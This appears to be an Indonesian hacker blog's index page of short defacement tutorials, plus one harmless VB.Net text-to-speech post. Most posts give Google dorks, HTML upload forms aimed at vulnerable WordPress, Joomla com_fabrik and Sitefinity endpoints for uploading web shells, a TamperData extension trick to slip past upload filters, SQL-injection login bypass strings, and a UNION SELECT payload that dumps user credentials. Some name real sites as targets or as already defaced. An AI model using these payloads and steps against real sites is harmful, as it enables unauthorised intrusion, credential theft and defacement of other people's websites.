Cara Deface WP Plugins WooCommerce Products Customizer Fileupload

23:21:00

•

Wordpress Exploit

Cara Deface WP Plugins WooCommerce Products Customizer Fileupload

Yak kali ini ane akan mengshare Tutorial "Cara Deface WP Plugins WooCommerce Products Customizer Fileupload"

sebenarnya nih bukan deface ! atau cuman bisa upload gambar ! tpi gk thu juga kan , cobain aja pas bisa upload shell

Tadi ane barusan aja muter muter di web orang , nah pas ane bukan foldernya woocommerce-products-customizer . tiba tiba blank ane coba coba mau :D

Tpi pas itu ane coba upload shell gk mau , mungkin di web lain bisa :D. Bisa bisa neh Trik baru :D 

HTML Vroh : <form method="POST" action="http://test.jacketman.net/wp-content/plugins/woocommerce-products-customizer/jquery_calls.php"

enctype="multipart/form-data">
<input type="file" name="userfile"/><button>Croot Punyamu</button>
</form>

Yang warna biru ganti webnya :D

Dorknya Guyss : 
inurl:/wp-content/plugins/woocommerce-products-customizer/

Exploit nya guys : /wp-content/plugins/woocommerce-products-customizer/jquery_calls.php

Tutorial :

1.Cari web dari dork yang udeh mimin siapkan , buka web tersebut . masukan exploit , jika Gambarnya Blank berarti Vuln :D

2.Kemudian buka HTML Exploit nya tadi , kemudian cari file .jpg atau terserah lah
3.Jika berhasil maka akan muncul seperti dibawah ini

4.Filenya akan berada di http://test.jacketman.net//wp-content//uploads//57f9e15a25804.jpg
5.Jika gk berhasil , mungkin muncul nya cuman tulisan :D
6.Enjoy


Trik Dari Mastah Ane : Mr.D3c0d3r #98 + 5uSu S4p1

-=- THANKS FOR READING :D -=-

READ MORE

Deface Wp-Woocommerce Custom Tshirt Shell Upload Vulnerability

22:37:00

•

Wordpress Exploit

Deface Wp-Woocommerce Custom Tshirt Shell Upload Vulnerability

Langsung saja ke tutorial !

Dork : inurl:/wp-content/plugins/woocommerce-custom-t-shirt-

*Yang laen use your brain atau Contact mimin aj :D . biasanya dia bisa buat dork sendiri

HTML Exploit :

<form enctype="multipart/form-data"
    action="http://www.targetkalian.com/wp-content/plugins/woocommerce-custom-t-shirt-designer/includes/templates/template-black/designit/cs/upload.php" method="post">
    <input type="jpg" name="url" value="./" /><br />
    Please choose a file: <input name="uploadfile" type="file" /><br />
    <input type="submit" value="upload" />
    </form>

Exploit : /wp-content/plugins/woocommerce-custom-t-shirt-designer/includes/templates/template-black/designit/cs/upload.php

Lokasi Shell : /wp-content/plugins/woocommerce-custom-t-shirt-designer/includes/templates/template-black/designit/cs/uploadImage/(Nomor random).php

Tutorial :

1.Jika ada tulisan "error" di web tersebut , berarti Vuln 

2.Copy Link yang Vuln , kemudian paste di HTML Exploit Yang Bertanda Warna Merah Diatas

3.Pilih Shell kalian , kemudian klik Upload

4.Maka akan muncul angka acak Contoh : "1285798710.php"

5.Akses Shellnya :  /wp-content/plugins/woocommerce-custom-t-shirt-designer/includes/templates/template-black/designit/cs/uploadImage/(Nomor acak yang tadi).php

6.Enjoy ! Terserah dah mau di apain tuh web

-=-THANKS FOR READING :D-=-

READ MORE

Cara Deface Dengan Metode Com_Fabrik

00:45:00

•

Website

Cara Deface Dengan Metode Com_Fabrik :

Kali ini mimin akan mengshare tutorial Deface lagi :D . btw neh trik lama . gk ap kan untuk coba coba :D . 

Dork :

inurl:viewTable?cid=

Exploit :

/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1

Tutorial :

Fresh Target : www.farp.com

1.Cari Web yang Vuln Dulu ya :D . Ane udeh dapat yang fresh . http://www.farp.com/

2.(Yang Blom Dapet) Setelah web dibuka, maka akan muncul Sorry this form is not publish berarti tandanya Vuln :D

3.Masukan Exploit nya (Diatas ada). jika tidak ada muncul Upload (Seperti Gambar Dibawah ini) Berarti tidak VULN

4.Nah gambar ini tandanya web itu vuln :D

5.Klik "Pilih File"

6.Cari Shell Kalian

7.Kemudian Klik "Import CSV"

8.Jika Muncul Gambar yang dibawah ini Berarti Antara Bisa / Gk

9.Jika belum di test ya gk bisa . Shell/Script nya ada di http://www.farp.com/media/namashellkalian.php

10.Kalo dah muncul shellnya . terserah kalian mau ngapain !

Bagaimana Guys ? Mudah Atau Susah :V ?

Author : Mr.D3c0d3r #98

-=- THANKS FOR READING -=-

READ MORE

Cara Menggunakan Tamper Data Untuk SQL Lokomedia

00:29:00

•

Website

Download : http://adf.ly/1eb7QL

Atau

Download : http://adf.ly/1eb7eL

Cara Menggunakan Tamper Data :

Tau TamperData gk ? bagi mimin . Tamper Data itu untuk upload shell :3 . kalo misalnya gk bisa upload shell , ya cobain aj trik ini.

Download harus di Firefox . Yang belum punya firefox . download aj dulu sanah :v . 

Ok Langsung Saja

Tutorial :

1.Buka Tamperdata di Firefox ( Indonesia ) > Alat > Tamperdata

2.Kemudian jangan di Start Tamper Dulu . Silahkan Ganti Nama Shell.php kalian dengan Shell.php.jpg

3.Klik Telusuri , Kemudian Pilih Shell kalian yang berekstensi/namafile .php.jpg

4.Kemudian Klik Start Tamper pada TamperData

5.Jika sudah di start . klik upload atau update atau simpan atau ntah lah :V

6.Setelah itu , nanti kalian akan dapat MessageBox ! nah nanti klik yang "Tamper"

7.Setelah Itu. disitu kan ada 2 GroupBox . nah kalian pilih yang kiri .

8.Kemudian di POST_DATA di TextBox nya kalian cari namashellkalian.php.jpg

9.Kemudian ganti namashell.php.jpg Ke namashell.php

10.Jika ada notice notice klik Sumbit Sumbit aja !

Bagaimana ? Ribet kan :V ? Biar jeles Cek aj di Youtube !

-=-THANKS FOR READING :D-=-

READ MORE

Cara ByPass SQL Admin Login

00:09:00

•

Website

Tutorial ByPass SQL Admin Login

Yak ! Kali ini mimin akan mengshare Cara "Cara ByPass SQL Admin Login"

Mimin mles ketik :V . Jadi langsung saja

Dork :

inurl:manager intitle:Admin Panel
inurl:/admin2/ ext:php
inurk:/admin/ ext:php
inurl:/adminpanel/ ext:php

inurl:/admin_panel/
Kembangin sendiri biar dapet vuln yang jones :3

Exploit :
Username : ' or 1=1 limit 1 -- -+
Password : ' or 1=1 limit 1 -- -+

Tutorial :

1. Masuk ke admin loginnya
2. Kemudian isi Username dan Password yang diatas
3. Jika login berarti vuln jika tidak berarti gk vuln
4. Jika sudah login terserah mau diapain tuh web

Mudah Bukan ?

Author : Mr.D3c0d3r #98

Thanks Mastah Kami : 5usu S4p1

-=-Thanks For Reading :D-=-

READ MORE

Tools Tools Untuk Deface Di Android

10:05:00

•

Website

Yak ! Kali ini mimin akan kasih tai eh tau :'v . Tool Tools Deface Untuk Android. Penasaran bukan :'v ? Di fb mimin banyak yang nanya kya gitu . nah mimin mles jawabnya satu per satu . mending mimin kasih tau disini aj :D

Tools :

Untuk Membaca HTML/HTML Reader Website : Klik Disini

Sebenarnya mimin cuman make HTML Reader. Gk make aplikasi lain . karena mimin make exploit :V.

HTML Reader ini digunakan untuk membaca semua Page Source di web tersebut ! Nah biasanya juga mimin make ini untuk ngambil username dan pw dari exploit Lokomedia

Untuk Tutorialnya Nanti Mimin post lagi :D

SHARE = AUTO MASTAH :D

READ MORE

Cara Membuat Aplikasi Mengeluarkan Suara (SAPI.Voice) - VB.Net

01:29:00

•

Visual Basic

Cara Membuat Aplikasi Mengeluarkan Suara (SAPI.Voice) :

Pasti kalian pernah dengar , kalo misalnya kita ngeaktifkan cheat . nnti ada suara "Actived" . Nah dan juga pasti kalian penasaran bagaimana cara membuatnya ? Yak di www.rasyidmaulanafajar.blogspot.com Akan mengshare Tutorial tersebut

Tools yang Dibutuhkan :

• Visual Basic 2010 atau Versi VB.Net lah

Langsung kita mulai saja

Tutorial

1.Buat Project Baru

2.Buat 1 Button Dan 1 TextBox

3.Kemudian Klik 2 Kali di Button dan Isi Code nya :

Dim SAPI SAPI = CreateObject("SAPI.spvoice") SAPI.Speak(Textbox1.text)

4.Kemudian Di Debug (F5)

5.Isi TextBox tadi dengan ABC Atau seterah Kalian Aja

6.Enjoy :D

Bagaimana ? Mudah bukan ?

Jangan lupa di Share ya :D

Ada Error di Code tersebut ? Contact Saya aja www.facebook.com/RasyidMaulan

READ MORE

Cara Deface Dengan SiteInfinity CMS ASP.Net File Upload

23:07:00

•

Website

Cara Deface Dengan SiteInfinity

Mimin udeh lama tau cara Deface dengan SiteInfinity. Nah mimin mau kasih tahu caranya :D

Caranya simple,mudah, dan praktis :V

Nitip Nama yaa

Mr.D3c0d3r #98

Ok Langsung Saja

Dork : "Sitefinity: Login"

Yang Laen Use Your Brain ! Cari Web Yang Perawan :3

Exploit : /sitefinity/UserControls/Dialogs/DocumentEditorDialog.aspx

Tutorial :

1.Cari web yang ingin di Deface

Contoh : 

Ini udeh mimin tambahkan exploitnya

2.Tambahkan Exploitnya

Contoh : http://www.emcomsys.com/sitefinity/login.aspx? > http://www.emcomsys.com/sitefinity/UserControls/Dialogs/DocumentEditorDialog.aspx

3.Klik Select

4.Upload Shell Kalian

5.Jika udeh pilih Shell Langsung Klik Insert

6.Tunggu Sampai Selesai Proses Upload

7.Jika Sudah Selesai Akses Shellnya Ada di www.targetkalian.com/Files/Namashellkalian.php

Contoh Gambar : 

BAGAIMANA ? Mudah Kan ?

Ada Masalah Contact Mimin www.facebook.com/RasyidMaulan

READ MORE

Cara Deface Dengan Teknik SQL Lokomedia

22:40:00

•

Website

Cara Deface Dengan Teknik SQL Lokomedia

Apa Itu Deface ? 

Deface adalah teknik mengganti atau menyisipkan file pada server, teknik ini dapat dilakukan karena terdapat lubang pada sistem security yang ada di dalam sebuah aplikasi. Hal ini bertujuan untuk melakukan perubahan tampilan pada website korban dengan tampilan yang dimiliki oleh si defacer.

*Biasanya Mimin deface make teknik ini :V *Karena Terlalu mudah :V

List :

1. http://polewalionline.com/
2. http://akperkesdamlhokseumawe.ac.id/
3. http://www.sman3bukittinggi.sch.id/
4. http://smkmuh1smd.net/
5. Dan Lain Lain :D

Dork :

• inurl:statis-1- site:com (Sitenya bisa ganti ke .sch.id .co.id dan lain lain)
• inurl:statis-6- site:com (Sitenya bisa di ganti)
• inurl:kategori-2-
• inurl:kategori-40-
• inurl:semua-berita.html
• inurl:hal-tentang-kami.html
• inurl:semua-agenda.html

Yang lain Use YOUR BRAIN !

Exploit : 'union+select+make_set(6,@:=0x0a, (select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+.html

Contoh : www.targetnya.com/hal-tentang-'union+select+make_set(6,@:=0x0a, (select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+kami.html

Tutorial :

MIMIN MALAS BUAT VIDEO :v

Masih Bingung ? Dipahami Makanya :V

Atau

Contact Mimin  www.facebook.com/RasyidMaulan

READ MORE